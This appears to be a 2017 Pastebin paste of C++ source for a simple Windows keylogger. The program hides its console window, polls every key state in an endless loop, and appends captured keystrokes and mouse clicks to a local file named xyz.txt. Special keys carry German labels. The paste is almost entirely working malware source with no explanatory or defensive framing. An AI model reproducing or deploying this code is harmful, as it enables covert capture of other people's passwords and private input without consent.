Advertisement
Guest User

Untitled

a guest
Feb 22nd, 2017
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. #include <fstream>
  2. #include <iostream>
  3. #include <windows.h>
  4.  
  5. using namespace std;
  6.  
  7. int Save(int _key, char *file);
  8.  
  9. int main() {
  10.  
  11. FreeConsole();
  12.  
  13. char i;
  14.  
  15. while (true) {
  16. Sleep(10);
  17. for (i = 8; i <= 255; i++) {
  18. if (GetAsyncKeyState(i) == -32767) {
  19. Save(i, "xyz.txt");
  20.  
  21. }
  22. }
  23. }
  24. return 0;
  25. }
  26.  
  27. int Save(int _key, char *file) {
  28.  
  29. cout << _key << endl;
  30.  
  31. Sleep(10);
  32.  
  33. FILE *OUTPUT_FILE;
  34.  
  35. OUTPUT_FILE = fopen(file, "a+");
  36. if (_key == VK_SHIFT)
  37. fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
  38. else if (_key == VK_BACK)
  39. fprintf(OUTPUT_FILE, "%s", "[LÖSCHEN]");
  40. else if (_key == VK_LBUTTON)
  41. fprintf(OUTPUT_FILE, "%s", "[LINKS-CLICK]");
  42. else if (_key == VK_RBUTTON)
  43. fprintf(OUTPUT_FILE, "%s", "[RECHTS-CLICK]");
  44. else if (_key == VK_RETURN)
  45. fprintf(OUTPUT_FILE, "%s", "[RETURN]");
  46. else if (_key == VK_ESCAPE)
  47. fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
  48. else
  49. fprintf(OUTPUT_FILE, "%s", &_key);
  50. fclose(OUTPUT_FILE);
  51.  
  52. return 0;
  53. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement